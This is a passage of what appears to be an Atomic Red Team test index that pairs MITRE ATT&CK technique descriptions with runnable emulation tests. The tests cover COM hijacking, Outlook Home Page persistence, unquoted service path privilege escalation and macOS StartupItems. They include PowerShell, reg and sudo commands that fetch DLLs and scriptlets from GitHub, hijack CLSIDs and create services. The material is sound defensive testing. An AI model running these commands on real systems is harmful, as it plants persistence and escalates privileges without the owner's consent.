Module Load' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae created: '2020-03-16T14:12:47.923Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/015 external_id: T1546.015 - source_name: Elastic COM Hijacking description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.' url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com - source_name: GDATA COM Hijacking description: 'G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.' url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - source_name: Microsoft Component Object Model description: Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016. url: https://msdn.microsoft.com/library/ms694363.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.015 atomic_tests: - name: COM Hijacking - InprocServer32 auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b description: |- This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe. Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/ supported_platforms: - windows input_arguments: clsid_threading: description: Threading Model type: string default: Apartment dllpath: description: Path to the DLL. type: string default: PathToAtomicsFolder\..\ExternalPayloads\AtomicTest.dll clsid: description: Class ID to hijack. type: string default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}" clsid_description: description: Description for CLSID type: string default: MSAA AccPropServices dependency_executor_name: powershell dependencies: - description: DLL For testing prereq_command: if (Test-Path "#{dllpath}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll" -OutFile "#{dllpath}" executor: command: |- New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dllpath}" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String" Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}' cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore name: powershell - name: Powershell Execute COM Object auto_generated_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb description: |- Use the PowerShell to execute COM CLSID object. Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/ supported_platforms: - windows executor: command: | $o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")) $item = $o.Item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0) cleanup_command: 'Get-Process -Name "*calc" | Stop-Process ' name: powershell - name: COM Hijacking with RunDLL32 (Local Server Switch) auto_generated_guid: 123520cc-e998-471b-a920-bd28e3feafa0 description: "This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. " supported_platforms: - windows input_arguments: clsid_threading: description: Threading Model type: string default: Both dll_path: description: Path to the DLL. type: string default: PathToAtomicsFolder\..\ExternalPayloads\T1546.015_calc.dll clsid: description: Class ID to hijack. type: string default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}" clsid_description: description: Description for CLSID type: string default: MSAA AccPropServices dependency_executor_name: powershell dependencies: - description: DLL For testing prereq_command: if (Test-Path "#{dll_path}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll" -OutFile "#{dll_path}" executor: command: |- New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dll_path}" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String" Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}' cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore name: powershell - name: COM hijacking via TreatAs auto_generated_guid: 33eacead-f117-4863-8eb0-5c6304fbfaa9 description: |- This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute. Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out. References: https://youtu.be/3gz1QmiMhss?t=1251 https://github.com/enigma0x3/windows-operating-system-archaeology supported_platforms: - windows executor: command: "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\" /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe -sta \"AtomicTest\" " cleanup_command: |- reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f name: powershell T1137.004: technique: x_mitre_platforms: - Windows - Office 365 x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--bf147104-abf9-4221-95d1-e81585859441 type: attack-pattern created: '2019-11-07T20:09:56.536Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1137.004 url: https://attack.mitre.org/techniques/T1137/004 - source_name: SensePost Outlook Home Page url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ description: Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019. - source_name: Microsoft Detect Outlook Forms url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019. - source_name: SensePost NotRuler url: https://github.com/sensepost/notruler description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019. modified: '2022-04-25T14:00:00.188Z' name: 'Office Application Startup: Outlook Home Page' description: | Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1137.004 atomic_tests: - name: Install Outlook Home Page Persistence auto_generated_guid: 7a91ad51-e6d2-4d43-9471-f26362f5738e description: | This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed. Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox). supported_platforms: - windows input_arguments: url: description: URL to Outlook Home Page containing the payload to execute (can be local file:// or remote https://) type: string default: file://PathToAtomicsFolder\T1137.004\src\T1137.004.html outlook_version: description: Version of Outlook that is installed type: float default: 16.0 outlook_folder: description: Name of the Outlook folder to modify the homepage setting for type: string default: Inbox executor: name: command_prompt elevation_required: false command: 'reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f ' cleanup_command: 'reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /f >nul 2>&1 ' T1574.009: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: Path Interception by Unquoted Path' description: |- Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide) This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: |- Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b created: '2020-03-13T13:51:58.519Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/009 external_id: T1574.009 - source_name: Windows Privilege Escalation Guide description: absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018. url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ - source_name: Windows Unquoted Services description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018. url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/ - source_name: Help eliminate unquoted path description: Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012. url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464 - source_name: Microsoft CurrentControlSet Services description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services Registry Tree. Retrieved March 16, 2020. url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.009 atomic_tests: - name: Execution of program.exe as service with unquoted service path auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f description: | When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges. In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe. supported_platforms: - windows input_arguments: service_executable: description: Path of the executable used for the service and as the hijacked program.exe type: path default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe executor: command: | copy "#{service_executable}" "C:\Program Files\windows_service.exe" copy "#{service_executable}" "C:\program.exe" sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto sc start "Example Service" cleanup_command: | sc stop "Example Service" >nul 2>&1 sc delete "Example Service" >nul 2>&1 del "C:\Program Files\windows_service.exe" >nul 2>&1 del "C:\program.exe" >nul 2>&1 del "C:\Time.log" >nul 2>&1 name: command_prompt elevation_required: true T1037.005: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f created: '2020-01-15T18:00:33.603Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1037.005 url: https://attack.mitre.org/techniques/T1037/005 - source_name: Startup Items url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html description: Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. - source_name: Methods of Mac Malware Persistence url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. x_mitre_deprecated: false revoked: false description: "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user." modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Initialization Scripts: Startup Items' x_mitre_detection: |- The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Creation' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - Administrator x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1037.005 atomic_tests: - name: Add file to Local Library StartupItems auto_generated_guid: 134627c3-75db-410e-bff8-7a920075f198 description: | Modify or create an file in /Library/StartupItems [Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware) supported_platforms: - macos executor: command: 'sudo touch /Library/StartupItems/EvilStartup.plist ' cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist ' name: sh elevation_required: true - name: Add launch script to launch daemon auto_generated_guid: fc369906-90c7-4a15-86fd-d37da624dde6 description: | Add launch script to /Library/StartupItems to launch agent [Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware) supported_platforms: - macos input_arguments: path_malicious_script: description: Name of script to store in cron folder type: string default: "$PathToAtomicsFolder/T1037.005/src/T1037.005_daemon.sh" path_malicious_plist: description: Name of file to store in /tmp type: string default: "$PathToAtomicsFolder/T1037.005/src/T1037_005_daemon.plist" path_startup_params: description: Name of plist with startup params type: string default: "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist" dependency_executor_name: bash dependencies: - description: "/Library/StartupItems must exist\n" prereq_command: 'if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems; exit 0; fi; ' get_prereq_command: 'echo "Failed to create /Library/StartupItems"; exit 1; ' - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' - description: 'The startup script must exist on disk at specified location (#{path_malicious_script}) ' prereq_command: 'if [ -f #{path_malicious_script} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The startup script doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist sudo /Library/StartupItems/atomic.sh start cleanup_command: | sudo launchctl unload /tmp/T1037_005_daemon.plist sudo rm /tmp/T1037_005_daemon.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_daemon.txt - name: Add launch script to launch agent auto_generated_guid: 10cf5bec-49dd-4ebf-8077-8f47e420096f description: | Add launch script to /Library/StartupItems to launch agent [Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware) supported_platforms: - macos input_arguments: path_malicious_script: description: Name of script to store in cron folder type: string default: "$PathToAtomicsFolder/T1037.005/src/T1037.005_agent.sh" path_malicious_plist: description: Name of file to store in /tmp type: string default: "$PathToAtomicsFolder/T1037.005/src/T1037_005_agent.plist" path_startup_params: description: Name of plist with startup params type: string default: "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist" dependency_executor_name: bash dependencies: - description: "/Library/StartupItems must exist\n" prereq_command: 'if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems; exit 0; fi; ' get_prereq_command: 'echo "Failed to create /Library/StartupItems"; exit 1; ' - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; ' - description: 'The startup script must exist on disk at specified location (#{path_malicious_script}) ' prereq_command: 'if [ -f #{path_malicious_script} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "The startup script doesn''t exist. Check the path and try again."; exit 1; ' executor: name: bash elevation_required: true command: | sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist /Library/StartupItems/atomic.sh start cleanup_command: |- sudo launchctl unload /tmp/T1037_005_agent.plist sudo rm /tmp/T1037_005_agent.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_agent.txt T1078.002: technique: modified: '2023-08-14T14:55:07.432Z' name: Domain Accounts description: |- Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jon Sternstein, Stern Security x_mitre_deprecated: false x_mitre_detection: "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f created: '2020-03-13T20:21:54.758Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/002 external_id: T1078.002 - source_name: TechNet Credential Theft description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: Microsoft AD Accounts description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts - source_name: Ubuntu SSSD Docs description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021. url: https://ubuntu.com/server/docs/service-sssd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1037.003: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99 type: attack-pattern created: '2020-01-10T18:01:03.666Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1037.003 url: https://attack.mitre.org/techniques/T1037/003 - source_name: Petri Logon Script AD url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008 description: Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019. modified: '2021-04-29T14:49:39.188Z' name: Network Logon Script description: "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \ \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Active Directory: Active Directory Object Modification' - 'File: File Modification' - 'Process: Process Creation' - 'File: File Creation' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1197: technique: modified: '2023-05-09T14:00:00.188Z' name: BITS Jobs description: |- Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Brent Murphy, 